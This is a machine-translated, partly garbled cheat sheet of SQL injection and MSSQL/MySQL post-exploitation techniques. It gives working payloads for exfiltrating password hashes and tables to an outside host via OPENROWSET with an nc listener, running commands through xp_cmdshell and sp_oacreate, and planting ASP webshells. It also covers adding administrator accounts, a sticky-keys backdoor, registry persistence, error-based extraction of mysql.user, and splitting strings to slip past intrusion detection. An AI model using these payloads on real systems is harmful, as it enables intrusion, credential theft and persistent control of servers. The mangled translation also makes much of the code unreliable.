* dari _blank>_sysobjects) Pilih * dari user_blank>_database.dbo.sysobjects masukkan ke dalam OPENROWSET(SQLOLEDB,uid=sa; disabilitas = 123; Jaringan=DBMSSOCN; Alamat=192.168.0.1,1433; ,pilih
* dari _blank>_syscolumns) Pilih * dari user_blank>_database.dbo.syscolumns Mereplikasi database _blank>: masukkan ke dalam OPENROWSET(SQLOLEDB,uid=sa; disabilitas = 123; Jaringan=DBMSSOCN; Alamat=192.168.0.1,1433; ,pilih
* dari tabel1) pilih * dari database.. Tabel1 masukkan ke dalam OPENROWSET(SQLOLEDB,uid=sa; disabilitas = 123; Jaringan=DBMSSOCN; Alamat=192.168.0.1,1433; ,pilih
* dari tabel2) pilih * dari database.. Tabel2
Hash kata sandi yang menyalin login _blank> kata sandi tabel hash (HASH) disimpan di sysxlogins. Begini caranya: masukkan ke dalam OPENROWSET(SQLOLEDB,
uid = sa; disabilitas = 123; Jaringan=DBMSSOCN; Alamat=192.168.0.1,1433; ,pilih * dari _blank>_sysxlogins)
Pilih * dari database.dbo.sysxlogins Setelah Anda mendapatkan hash, Anda dapat memaksanya.
Untuk melintasi direktori: Pertama, buat tabel sementara: temp ; buat temp tabel (id nvarchar (255), num1 nvarchar (255), num2 nvarchar (255), num3 nvarchar (255)); – ; masukkan master.dbo.xp_blank>_availablemedia eksekutif sementara; – Dapatkan semua drive saat ini ; masukkan ke dalam temp(id) exec master.dbo.xp_blank>_subdirs c:\; – Dapatkan daftar subdirektori ; masukkan ke dalam temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\; – Dapatkan struktur hierarki direktori untuk semua subdirektori,
Gabungkan inci ke dalam tabel suhu ; Masukkan ke dalam master.dbo.xp_blank>_cmdshell eksekutif temp(id) ketik C:\web\index.asp; – Lihat file
Konten ; Masukkan ke dalam temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\; – ; masukkan ke dalam temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\ *.asp /s/a; – ; masukkan ke dalam temp(id) exec master.dbo.xp_blank>_cmdshell cscrip{filter}t C:\Inetpub\Adminscrip{filter}ts
\adsutil.vbs enum w3svc ; masukkan ke dalam temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\; – (xp_blank>_dirtree Otoritas yang Berlaku
PUBLIK) Tulis ke tabel: pernyataan 1: dan 1=(Pilih IS_blank>_SRVROLEMEMBER(sysadmin)); – Pernyataan 2: dan 1=(Pilih IS_blank>_SRVROLEMEMBER(serveradmin)); – Pernyataan 3: dan 1=(Pilih IS_blank>_SRVROLEMEMBER(setupadmin)); – Pernyataan 4: dan 1=(Pilih IS_blank>_SRVROLEMEMBER(securityadmin)); – Pernyataan 5: dan 1=(Pilih IS_blank>_SRVROLEMEMBER(securityadmin)); – Pernyataan 6: dan 1=(Pilih IS_blank>_SRVROLEMEMBER(diskadmin)); – Pernyataan 7: dan 1=(Pilih IS_blank>_SRVROLEMEMBER(bulkadmin)); – Pernyataan 8: dan 1=(Pilih IS_blank>_SRVROLEMEMBER(bulkadmin)); – Pernyataan 9: dan 1=(Pilih IS_blank>_MEMBER(db_blank>_owner)); –
Tulis jalur ke tabel: ; Buat Tabel dir(Jalur Varchar(100), ID Int)– ; Masukkan dirs exec master.dbo.xp_blank>_dirtree c:\– dan 0<>(pilih jalur 1 teratas dari dir)– dan 0<>(pilih jalur 1 teratas dari dirs di mana jalur tidak di(@Inetpub))– ; Buat tabel dirs1(Jalur varchar(100), id int)– ; Masukkan dirs exec master.dbo.xp_blank>_dirtree e:\web– dan 0<>(pilih jalur 1 teratas dari dirs1)–
Mencadangkan database _blank> ke direktori web: Unduh ; mendeklarasikan @a sysname; atur @a=db_blank>_name(); @a database cadangan ke disk=e:\web\down.bak; –
dan 1=(Pilih nama 1 teratas dari(Pilih 12 id teratas, nama dari sysobjects di mana xtype=char(85)) T
Pesan berdasarkan ID desc) dan 1=(Pilih 1 Teratas col_blank>_name(object_blank>_id(USER_blank>_LOGIN),1) dari sysobjects) Lihat juga
Tabel terkait. dan 1=(pilih user_blank>_id dari USER_blank>_LOGIN) dan 0=(pilih pengguna dari USER_blank>_LOGIN tempat pengguna>1)
-=- wscrip{filter}t.shell contoh -=- Deklarasikan @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, jalankan, NULL, notepad.exe ; declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,
NULL, notepad.exe–
Deklarasikan @o int, @f int, @t int, @ret int Menyatakan @line varchar(8000) exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o keluar exec sp_blank>_oamethod @o, opentextfile, @f keluar, c:\boot.ini, 1 exec @ret = sp_blank>_oamethod @f, readline, @line keluar while( @ret = 0 ) mulai Cetak @line exec @ret = sp_blank>_oamethod @f, readline, @line keluar akhir
Deklarasikan @o int, @f int, @t int, @ret int exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o keluar exec sp_blank>_oamethod @o, createtextfile, @f out, c:\inetpub\wwwroot\foo.asp, 1 exec @ret = sp_blank>_oamethod @f, writeline, NULL, <% set o = server.createobject("wscrip{filter}t.shell"): o.run( request.querystring("cmd") %>
Deklarasikan @o int, @ret int eksekutif sp_blank>_oacreate speech.voicetext, @o keluar exec sp_blank>_oamethod @o, register, NULL, foo, bar sp_blank>_oasetproperty @o eksekutif, kecepatan, 150 exec sp_blank>_oamethod @o, berbicara, NULL, semua server sekuel Anda adalah milik kami, 528 tunggu penundaan 00:00:05
; Deklarasikan @o int, @ret int exec sp_blank>_oacreate speech.voicetext, @o keluar exec
sp_blank>_oamethod @o, daftar, NULL, foo, bar exec sp_blank>_oasetproperty @o, kecepatan, 150 exec
sp_blank>_oamethod @o, bicaralah, NULL, semua server sekuel Anda adalah milik kami, 528 tunggu penundaan
00:00:05–
xp_blank>_dirtree izin PUBLIK yang berlaku exec master.dbo.xp_blank>_dirtree c: Informasi yang dikembalikan memiliki dua bidang: subdirektori, kedalaman. Bidang subdirektori
Jenis karakter, bidang kedalaman adalah bidang pembentuk. Buat dirs tabel(Jalur varchar(100), id int) Pembuatan tabel, tabel yang dibuat di sini terkait dengan xp_blank>_dirtree di atas, dengan bidang yang sama dan jenis yang sama. insert dirs exec master.dbo.xp_blank>_dirtree c: Selama kita membangun tabel dan menentukan bidang yang dikembalikan oleh proses penyimpanan secara merata
Eksekusi! Untuk mencapai efek menulis tabel, langkah demi langkah untuk mencapai informasi yang kita inginkan! Injeksi kesalahan ini terutama didasarkan pada luapan tipe data Mysql mysql > PILIH 18446744073709551610 * 2 ; KESALAHAN 1690 ( 22003 ): Nilai BIGINT UNSIGNED berada di luar jangkauan di '(18446744073709551610 * 2)'
mysql > SELECT - 1 * 9223372036854775808 ; KESALAHAN 1690 ( 22003 ): Nilai BIGINT UNSIGNED berada di luar jangkauan di '(- (1) *
9223372036854775808)' Versi database kueri: mysql> SELECT * 2 (if ((SELECT * from (SELECT (version ()) ) s), 18446744073709551610,
18446744073709551610)); KESALAHAN 1690 (22003): Nilai BIGINT UNSIGNED berada di luar jangkauan di '(2 * jika (( Pilih ' 5.5' dari
Ganda), 18446744073709551610.18446744073709551610))' Dapatkan nama bidang: mysql> PILIH 2 * if((PILIH * dari (pilih * dari test.shop) sebagai '' batas 1)>(PILIH * dari
test.shop batas 1), 18446744073709551610, 18446744073709551610);
KESALAHAN 1690 (22003): Nilai BIGINT UNSIGNED berada di luar jangkauan di '(2 * if((( pilih
'artikel','dealer','price' dari (pilih 'test'.'shop'.'article' AS
'artikel','uji'.'toko'.'dealer' AS 'dealer','uji'.'toko'.'harga' SEBAGAI 'harga' dari
'uji'.'toko') batas 1) > (pilih
'test'.'shop'.'article','test'.'shop'.'dealer','test'.'shop'.'shop'.'price' dari 'test'.'shop' limit
1)),18446744073709551610,18446744073709551610))' Dapatkan nilai bidang:
mysql> PILIH 2 * if((SELECT * dari (pilih * dari (mysql.user) LIMIT 1) sebagai '' limit 1) <
(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),
18446744073709551610, 18446744073709551610);
KESALAHAN 1690 (22003): Nilai BIGINT UNSIGNED berada di luar jangkauan di '(2 * if((( pilih
'localhost','root','*','Y','Y','Y','Y','Y','Y','Y',
Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','','','','','0','0','0','0','','' dari batas ganda 1)
<
(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2)),184467440
73709551610,18446744073709551610))'
Perhatikan bahwa metode ini tidak berfungsi dengan versi Mysql yang lebih lama, dan Anda perlu mengetahui batas panjang pesan kesalahan, karena ini akan menentukan
Anda bisa mendapatkan selama yang Anda inginkan: mysys / my_error.c
/* Panjang maksimum pesan kesalahan. Harus tetap sinkron dengan MYSQL_ERRMSG_SIZE. */ #define KESALAHAN (512)
Jika objeknya adalah MariaDB (fork dari Mysql), Anda mungkin melihat pesan kesalahan seperti ini saat Anda mencoba metode di atas:
mysql> SELECT 2*(if(((SELECT * from (SELECT (version()))s), 18446744073709551610,
18446744073709551610)) KESALAHAN 1690 (22003): Nilai BIGINT UNSIGNED berada di luar jangkauan di '(2 * if((pilih
#),18446744073709551610,18446744073709551610))'
Sebagai solusinya, masalah ini dapat diselesaikan dengan cara ini:
mysql> SELECT (I BUKAN NULL) - -9223372036854775808 DARI (SELECT (version())i)a; KESALAHAN 1690 (22003): Nilai BIGINT berada di luar jangkauan di '(('5.5-MariaDB' bukan null) - -
(9223372036854775808))' Sekarang mari kita lihat apakah kita bisa membuat Vektor kita sedikit lebih pendek
//查询数据库版本
PILIH 2*(if(((PILIH * dari (SELECT (version()))s), 18446744073709551610,
18446744073709551610)) = pilih 1E308*jika((pilih*dari(pilih versi())x),2,2)
PILIH (I BUKAN NULL) - -9223372036854775808 DARI (PILIH (versi())i)a = pilih if(x,2,2)*1E308 dari(pilih versi()x)y
//获取表字段名称 PILIH 2 * if((PILIH * dari (pilih * dari test.shop) sebagai '' batas 1)>(PILIH * dari
test.shop batas 1), 18446744073709551610, 18446744073709551610) = pilih 1E308*if((select*from(select*from*from mysql.user)''limit 1)>(select*from mysql.user limit
1),2,2)
//获取字段值
PILIH 2 * if((SELECT * from (pilih * dari (mysql.user) LIMIT 1) sebagai '' limit 1) <
(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5 ,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),
18446744073709551610, 18446744073709551610) = pilih 1E308*if((pilih*dari(pilih*dari mysql.user LIMIT 1)''limit 1)<(pilih*dari
mysql.user limit 0),2,2)
//获取指定字段的值 pilih 1E308*if((pilih pengguna|| tuan rumah|| kata sandi|| file_priv dari(pilih*dari mysql.user LIMIT
1) batas 1),2,2)
//获取字段个数
pilih 1E308*if((pilih*dari mysql.user limit 1)>(pilih 1),2,2)
Beberapa deformasi lainnya
PILIH (I BUKAN NULL) - -9223372036854775808 DARI (PILIH (versi())i)a pilih 1E308*if((pilih pengguna|| tuan rumah|| kata sandi|| file_priv dari(pilih*dari mysql.user LIMIT
1) batas 1),2,2); => pilih 2*if((pilih user|host|password|file_priv from(pilih*dari mysql.user LIMIT 1)batas
1),1e308,0); mysql> pilih (pilih * dari mysql.user)=1; mysql> pilih (pilih * dari mysql.user)in(1);
KESALAHAN 1241 (21000): Operan harus berisi 42 kolom pilih 2*if((pilih user|host|password|file_priv from(pilih*dari mysql.user LIMIT 1)batas
1),1e308,0); Pilih if((pilih user|| tuan rumah|| kata sandi|| file_priv dari(pilih*dari mysql.user LIMIT 1)a
batas 1),2,2)*1E308 PILIH (I BUKAN NULL) - -9223372036854775808 DARI (PILIH (versi())i)a pilih (x!=0x00)--9223372036854775808 dari(PILIH versi()x)y mysql> pilih!x-~0.FROM(pilih+pengguna()x)f; KESALAHAN 1690 (22003): Nilai BIGINT UNSIGNED berada di luar jangkauan di '((not('root@localhost')) - ~
(0))' 3. Menilai sistem database ; dan (pilih count(*) dari sysobjects)>0 mssql ; dan (pilih count(*) dari msysobjects)>0 akses 4. Parameter injeksi adalah karakter 'dan [kriteria kueri] dan ''=' 5. Tidak ada parameter yang difilter selama pencarian 'dan [kriteria kueri] dan '%25'=' 6. Tebak basis data ; dan (pilih Count(*) dari [nama database])>0 7. Tebak lapangannya ; dan (pilih Hitung (nama bidang) dari nama database)>0 8. Tebak panjang catatan di lapangan ; dan (pilih 1 len teratas (nama bidang) dari nama database)>0 9. (1) Tebak nilai ASCII bidang (akses) ; dan (pilih 1 asc teratas(mid(nama bidang, 1,1)) dari nama database)>0 (2) Tebak nilai ASCII bidang (mssql) ; dan (pilih 1 unicode teratas(substring(nama bidang, 1,1)) dari nama database)>0 10. Struktur Izin Uji (mssql) ; dan 1=(pilih IS_SRVROLEMEMBER('sysadmin')); -- ; dan 1=(pilih IS_SRVROLEMEMBER('serveradmin')); -- ; dan 1=(pilih IS_SRVROLEMEMBER('setupadmin')); -- ; dan 1=(pilih IS_SRVROLEMEMBER('securityadmin')); -- ; dan 1=(pilih IS_SRVROLEMEMBER('diskadmin')); -- ; dan 1=(pilih IS_SRVROLEMEMBER('bulkadmin')); -- ; dan 1=(pilih IS_MEMBER('db_owner')); -- 11. Tambahkan akun untuk mssql dan sistem ; nama pengguna master.dbo.sp_addlogin eksekutif; -- ; exec master.dbo.sp_password null, nama pengguna, kata sandi; -- ; nama pengguna exec master.dbo.sp_addsrvrolemember sysadmin; -- ; exec master.dbo.xp_cmdshell 'kata sandi nama pengguna pengguna bersih /workstation:* /times:all
/passwordchg:yes /passwordreq:yes /active:yes /add';-- ; exec master.dbo.xp_cmdshell 'kata sandi nama pengguna pengguna bersih /add'; -- ; exec master.dbo.xp_cmdshell 'Nama pengguna Administrator Grup Lokal Net /Add'; -- 12. (1) Melintasi katalog ; Buat dirs tabel(Jalur varchar(100), id int) ; Masukkan dirs exec master.dbo.xp_dirtree 'c:\' ; dan (pilih 1 jalur teratas dari dir)>0 ; dan (pilih 1 jalur teratas dari dirs di mana jalur tidak di('jalur yang diperoleh dari langkah sebelumnya'))>) (2) Melintasi katalog ; buat temp tabel (id nvarchar (255), num1 nvarchar (255), num2 nvarchar (255), num3 nvarchar (255)); -- ; masukkan master.dbo.xp_availablemedia eksekutif sementara; -- Dapatkan semua drive saat ini ; masukkan ke dalam temp(id) exec master.dbo.xp_subdirs 'c:\'; -- Dapatkan daftar subdirektori ; masukkan ke dalam temp(id,num1) exec master.dbo.xp_dirtree 'c:\'; -- Dapatkan struktur hierarki direktori untuk semua subdirektori ; masukkan ke dalam temp(id) exec master.dbo.xp_cmdshell 'ketik c:\web\index.asp'; -- Lihat isi file 13. Prosedur tersimpan di mssql xp_regenumvalues Kunci root registri, kunci anak ; exec xp_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' dan banyak lagi
recordset untuk mengembalikan semua nilai kunci xp_regread Kunci akar, kunci turunan, nama nilai kunci ; exec xp_regread 'HKEY_LOCAL_MACHINE','PERANGKAT LUNAK\Microsoft\Windows
\CurrentVersion','CommonFilesDir' mengembalikan nilai kunci formulasi xp_regwrite Kunci akar, kunci turunan, nama nilai, jenis nilai, nilai Ada dua jenis jenis nilai REG_SZ REG_DWORD untuk jenis karakter, dan untuk bilangan bulat ; exec xp_regwrite 'HKEY_LOCAL_MACHINE','PERANGKAT LUNAK\Microsoft\Windows
\CurrentVersion','TestvalueName','reg_sz','hello' ditulis ke registri xp_regdeletevalue Kunci root, sub-kunci, nama nilai exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','PERANGKAT LUNAK\Microsoft\Windows
\CurrentVersion', 'TestvalueName' untuk menghapus nilai xp_regdeletekey tombol hapus 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey',
Sertakan semua nilai di bawah kunci tersebut 14. MSSQL Backup membuat webshell Gunakan model buat tabel cmd (gambar str); masukkan ke dalam nilai cmd(str) ('<% Dim oscrip{filter}t %>'); mencadangkan model database ke disk='c:\l.asp'; 15. Fungsi bawaan MSSQL ; dan (pilih @@version)>0 untuk mendapatkan nomor versi Windows ; dan user_name()='dbo' untuk menentukan apakah pengguna yang terhubung dari sistem saat ini adalah SA ; dan (pilih user_name())>0 Meledakkan pengguna yang terhubung dari sistem saat ini ; dan (pilih db_name())>0 untuk mendapatkan database yang saat ini terhubung 16. Webshell ringkas Gunakan model buat tabel cmd (gambar str); Sisipkan ke dalam nilai cmd(str) ('<%=server.createobject("wscrip{filter}t.shell").exec("cmd.exe /c
"&request("c")).stdout.readall%>'); mencadangkan model database ke disk='g:\wwwtest\l.asp'; Saat meminta, gunakan sesuatu seperti ini:
http://ip/l.asp?c=dir ================================================================================================
================================================================================================
================================================================================================
================================================================================================
============================ Dapatkan semua nama database termasuk database sistem –PILIH nama DARI master.dbo.sysdatabases
– Dapatkan semua nama database non-sistem –pilih [nama] dari master.dbo.sysdatabases di mana DBId>6 Urutkan Berdasarkan [Nama]
– Dapatkan semua informasi, termasuk alamat file database –pilih * dari master.dbo.sysdatabases di mana DBId>6 Order By
[Nama]
Kueri pernyataan ini mengembalikan semua tabel pengguna
Pilih * dari sysobjects di mana xtype='u'
Mengkueri semua informasi tabel data dalam sistem
Pilih * dari sysobjects
Lihat nama mesin Pilih * dari sys.servers
Daftar isi kolom eksekutif master.dbo.xp_subdirs 'c:\'
eksekutif master.dbo.xp_dirtree 'c:',1,1 db_owner Izin dapat diterapkan
exec master.dbo.xp_dirtree 'c:/Program Files',1,1
Kode program, ditulis ke webshell
eksekutif master.dbo.xp_subdirs 'd:\web\www.xx.com'; eksekutif sp_makewebtask 'd:
\web\www.XXXX.com\XX.asp','pilih"<%execute(request("SB"))%>"
Eksekusi Master .. xp_enumgroups
Pengguna sistem Traverse
Eksekusi Master .. xp_getnetname Dapatkan nama mesin saat ini
--Cantumkan drive tetap di server, bersama dengan ruang yang tersedia untuk setiap drive dbo publik
Eksekusi
xp_ntsec_enumdomains
-- Buat akun untuk masuk ke MSSQL nama master.dbo.sp_addlogin eksekutif, lulus; --
-- Mencantumkan nama domain server xp_ntsec_enumdomains // Nama mesin //dbo publik
-- Menghentikan atau memulai layanan xp_servicecontrol 'stop', 'schedule' //schedule adalah nama layanan //dbo
--Gunakan pid
Menghentikan program yang sedang dijalankan xp_terminate_process 123 //123 adalah pid //dbo
-- Hanya subdirektori dalam direktori yang tercantum dbo.xp_subdirs 'C:' //dbo
SQL Server Metode pembukaan xp_cmdshell pada tahun 2005 EXEC sp_configure 'tampilkan opsi lanjutan', 1; KONFIGURASI ULANG; EKSEKUTIF
sp_configure 'xp_cmdshell', 1; KONFIGURASI ULANG;
SQL2005 Buka 'OPENROWSET' Metode yang didukung: eksekutif sp_configure 'tampilkan opsi lanjutan', 1; KONFIGURASI ULANG; eksekutif sp_configure 'Ad Hoc
Kueri Terdistribusi',1; KONFIGURASI ULANG;
SQL2005 untuk mengaktifkan dukungan 'sp_oacreate': eksekutif sp_configure 'tampilkan opsi lanjutan', 1; KONFIGURASI ULANG; eksekutif
sp_configure 'Prosedur Otomasi Ole',1; KONFIGURASI ULANG
Cara mengaktifkan xp_cmdshell di SQL Server 2008
-- Untuk mengizinkan opsi lanjutan diubah. EKSEKUTIF
sp_configure 'tampilkan opsi lanjutan', 1 PERGI -- Untuk memperbarui nilai yang saat ini dikonfigurasi untuk
opsi lanjutan. KONFIGURASI ULANG PERGI -- Untuk mengaktifkan fitur. EXEC sp_configure 'xp_cmdshell', 1 PERGI -- Untuk
Perbarui nilai yang saat ini dikonfigurasi untuk fitur ini. KONFIGURASI ULANG PERGI
eksekutif xp_cmdshell 'ipconfig'
Hari ini, saya ingin mengubah kata sandi login SA dari server database, tetapi tiba-tiba lupa, jadi saya harus membuka penganalisis kueri dengan bantuan akun lain untuk mengubah kata sandi SA
Ini sangat sederhana:
Eksekusi: sp_password Null,'teracypwd,'sa' Atur kata sandi SA ke "teracypwd"
Setelah eksekusi berhasil
Ada "Perintah berhasil diselesaikan". OKE!
Dalam izin db, pisahkan metode untuk mendapatkan IP server database MSSQL
1. NC Lokal mendengarkan NC -VVLP 80
2.; masukkan ke dalam
OPENROWSET('SQLOLEDB','uid=sa; disabilitas = xxx; Jaringan=DBMSSOCN; Alamat=ip Anda, 80; ', 'pilih * dari
dest_table') pilih * dari src_table; --
Pilih * dari OpenRowSet
('sqloledb','server=125.110.145.130,6789; uid = sa; pwd=zhu','pilih pengguna; ')
Impor dan ekspor database
/*不同服务器数据库之间的数据操作*/
--Buat server tautan sp_addlinkedserver eksekutif
'ITSV', 'SQLOLEDB', 'Nama Server Jarak Jauh atau Alamat IP' exec sp_addlinkedsrvlogin 'ITSV ', 'false
',null, 'nama pengguna', 'kata sandi'
--query contoh pilih * dari ITSV.database name.dbo.nama tabel
--import contoh Pilih *
ke dalam tabel dari ITSV.databasename.dbo.tablename
--Hapus server yang ditautkan jika tidak lagi digunakan di masa mendatang eksekutif sp_dropserver 'ITSV ',
'droplogin'
-- Menghubungkan ke data jarak jauh/LAN (openrowset/openquery/opendatasource) --1、openrowset
--query contoh Pilih *
dari openrowset( 'SQLOLEDB ', 'nama server sql '; 'Nama pengguna'; 'kata sandi', nama database.dbo.nama tabel)
-- Membuat tabel lokal pilih * ke dalam tabel dari openrowset( 'SQLOLEDB ', 'nama server sql '; 'Nama pengguna'; 'Kata sandi', nomor
Menurut nama database.dbo. nama tabel)
-- Mengimpor tabel lokal ke tabel jarak jauh masukkan openrowset( 'SQLOLEDB', 'nama server sql'; 'Nama pengguna'; 'Kata sandi', database
nama.dbo.nama tabel) Pilih *dari tabel lokal
-- Perbarui tabel lokal Memperbarui B set b. kolom A = a dari openrowset( 'SQLOLEDB ', 'nama server sql '; 'Nama pengguna'; '
kata sandi ', nama database .dbo.nama tabel) sebagai tabel lokal gabungan dalam b pada a.kolom1=b.kolom1
--openquery Penggunaan memerlukan pembuatan koneksi
--Pertama, buat koneksi untuk membuat server tautan eksekutif sp_addlinkedserver 'ITSV ', ' ',
'SQLOLEDB', 'nama server jarak jauh atau alamat ip' --Tanyakan Pilih * DARI openquery(ITSV, 'PILIH * DARI data
library.dbo.table name ') -- Mengimpor tabel lokal ke tabel jarak jauh insert openquery(ITSV, 'PILIH * DARI database.dbo.table name') Pilih * dari lokal
Tabel --update tabel lokal Memperbarui B atur b. kolom B=a DARI openquery(ITSV, 'PILIH * DARI database.dbo.tablename')
sebagai Gabung dalam tabel lokal b pada a. kolom A=b. kolom A
--3、opendatasource/openrowset PILIH * DARI
opendatasource( 'SQLOLEDB ', 'Sumber Data=ip/Nama Server; ID Pengguna = Nama login; Kata Sandi = Kata Sandi '
).test.dbo.roy_ta -- Mengimpor tabel lokal ke tabel jarak jauh
Penghapusan dan pemulihan xp_cmdshell
Cara memulihkan xp_cmdshell Hapus prosedur tersimpan yang diperpanjang xp_cmdshell
Pernyataan eksekutif sp_dropextendedproc 'xp_cmdshell'
Memulihkan pernyataan sql cmdshell eksekutif sp_addextendedproc xp_cmdshell ,@dllname = 'xplog70.dll'
eksekutif
master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll'; Pilih count(*) dari
master.dbo.sysdi mana xtype='x' dan Hasil yang dikembalikan adalah 1 dan tidak apa-apa
Jika tidak, Anda perlu mengunggah c:\inetput\web
\xplog70.dll nanti eksekutif master.dbo.sp_addextendedproc 'xp_cmdshell','c:\inetput\web\xplog70.dll
’; --
Jika Anda menghapusnya dengan cara berikut Prosedur Drop sp_addextendedproc Prosedur Drop sp_oacreate eksekutif
sp_dropextendedproc 'xp_cmdshell'
Anda dapat memulihkannya dengan pernyataan berikut dbcc addextendedproc ("sp_oacreate","odsole70.dll") dbcc
addextendedproc ("xp_cmdshell","xplog70.dll")
Dengan cara ini, itu dapat dipulihkan secara langsung, terlepas dari apakah sp_addextendedproc ada atau tidak
1、 Gunakan xp_cmdshell: exec master.dbo.xp_cmdshell "admin pengguna bersih admin /add" eksekutif
master.dbo.xp_cmdshell "admin / add administrator grup lokal net"
Dalam kasus xp_cmdshell, gunakan sp_oacreate untuk mengikuti sp_oamethod: Deklarasikan @object int eksekutif
sp_oacreate 'wscrip{filter}t.Shell', @object keluar sp_oamethod eksekutif
@object,'Jalankan',NULL,'admin pengguna bersih admin /add' exec sp_oamethod @object,'Jalankan',NULL,'net
localgroup Administrator admin /add'
Catatan: regsvr32 /s c:\windows\system32\wshom.ocx Mulai wscrip{filter}t.shell 3、 Gunakan sp_oacreate dan FSO Deklarasikan @o int sp_oacreate eksekutif
'scrip{filter}ting.filesystemobject', @o keluar exec sp_oamethod @o, 'copyfile',null,'c:\windows
\explorer.exe' ,'c:\windows\system32\sethc.exe'; Deklarasikan @oo int eksekutif
sp_oacreate 'scrip{filtering}ting.filesystemobject', @oo keluar sp_oamethod @oo eksekutif,
'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
Gunakan xp_regwrite (db_owner, perlu reboot): master.dbo.xp_regwrite eksekutif
'hkey_local_machine','perangkat lunak\microsoft\windows\currentversion\
run','eadd1','reg_sz','net user admin admin /add' master.dbo.xp_regwrite eksekutif
'hkey_local_machine','perangkat lunak\microsoft\windows\currentversion\
run','eadd2','reg_sz','admin administrator grup lokal net /add' 5. Gunakan sp_add_job: eksekutif
master.dbo.xp_servicecontrol 'mulai','SQLSERVERAGENT' Gunakan MSDB EXEC sp_delete_job
null,'x' eksekutif sp_add_job 'x' sp_add_jobstep eksekutif
Null,'x',Null,'1','CMDEXEC','cmd /c admin pengguna bersih admin /add' sp_add_jobserver eksekutif
Null,'x',@@servername eksekutif sp_start_job 'x'
Banyak SA telah berhasil di banyak mesin secara langsung menggunakan mode kotak pasir, tetapi saya belum pernah mempraktikkannya dan saya tidak tahu berapa tingkat keberhasilannya. Saat ekstensi dihapus, pertama-tama
Pulihkan penyimpanan baca dan tulis ke registri. dbcc addextendedproc ('xp_regread','xpstar.dll') DBCC AddExtendedProc
('xp_regwrite','xpstar.dll')
Memperbaiki mode yang dilindungi dari kotak pasir master eksekutif .. xp_regwrite 'HKEY_LOCAL_MACHINE','PERANGKAT LUNAK\Microsoft\Jet
\4.0\Mesin','SandBoxMode','REG_DWORD',0; --
Lihat apakah nilai 'SandBoxMode' telah berubah menjadi 0.
eksekutif master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','PERANGKAT LUNAK
\Microsoft\Jet\4.0\Engines', 'SandBoxMode'
Terakhir, panggil mode kotak pasir Pilih * dari OpenRowset('Microsoft.jet.oledb.4.0','; database = C: \ WINDOWS
\system32\ias\dnary.mdb','select shell("cmd.exe /c pengguna bersih passwd /add")')
Jika mode perlindungan kotak pasir tidak "mati", kesalahan dilaporkan: Server: Msg 7357, Level 16, Status 2, Baris 1
Gagal menangani objek 'select shell("cmd.exe /c net user user passwd /add")'. OLE DB menyediakan program
Kata pengantar 'microsoft.jet.oledb.4.0' menunjukkan bahwa tidak ada kolom dalam objek.
Pelacakan kesalahan OLE DB [Kesalahan non-antarmuka: Penyedia OLE DB tidak dapat memproses objek, karena objek
memiliki nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c pengguna bersih
pengguna passwd /add")']。
2、 Jika .mdb tidak ada atau jalur input salah Server: Msg 7399, Level 16, Status 1, Baris 1
Kesalahan 'microsoft.jet.oledb.4.0' penyedia OLE DB. [Penyedia OLE/DB mengembalikan pesan:
File 'C:\WINDOWS\system32\ias\dnary1.mdb' tidak ditemukan. ]
Pelacakan kesalahan OLE DB [Penyedia OLE/DB 'microsoft.jet.oledb.4.0' IDBInitialize::Inisialisasi dikembalikan
0x80004005: ]。
3. Jika ada lebih banyak ruang selama proses input, kesalahan juga akan dilaporkan. Berikan perhatian khusus untuk ini, banyak orang langsung mencari artikel secara online
Tempelkan dan jalankan. Server: Msg 7357, Level 16, Status 2, Baris 1 Gagal memproses objek 'pilih
shell("cmd.exe /c pengguna bersih passwd /add")'。 Penyedia OLE DB 'microsoft.jet.oledb.4.0' menyatakan bahwa tidak ada kolom dalam objek.
Pelacakan kesalahan OLE DB [Kesalahan non-antarmuka: Penyedia OLE DB tidak dapat memproses objek, karena objek telah
nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c pengguna bersih
passwd /add")']。
4、 Jika izin mdb dan izin cmd.exe salah, masalah juga akan terjadi. Ketika izin MDB salah, Server: Hilangkan
Bunga 7320, Tingkat 16, Negara Bagian 2, Baris 1
Dia tidak bisa menjawab Penyedia OLE DB 'Microsoft.Jet.OLEDB.4.0' mengeksekusi kueri. [Penyedia OLE/DB dikembalikan
message: 未知] Pelacakan Kesalahan OLE DB [Penyedia OLE/DB 'Microsoft.Jet.OLEDB.4.0'
ICommandText::Execute returned 0x80040e14]。
5. Jika izin bersih salah, tidak ada perintah.
Cara terakhir untuk meningkatkan otoritas adalah dengan mengunggah ias.mdb dan cmd.exe sistem di bawah direktori web saat ini, net.exe tiga file.
Jalankan select * dari openrowset('microsoft.jet.oledb.4.0','; database=E:\web\ias.mdb','pilih shell
("E:\web\cmd.exe /c E:\web\net.exe pengguna pengguna passwd /add")') Berhasil menambahkan pengguna komputer.
Memisahkan cmdshell melewati IDS Deklarasikan @a sysname set @a='xp_'+'cmdshell' exec @a 'ipconfig' menyatakan
@a sysname set @a='xp'+'_cm'+'dshell' exec @a 'dir c:\'
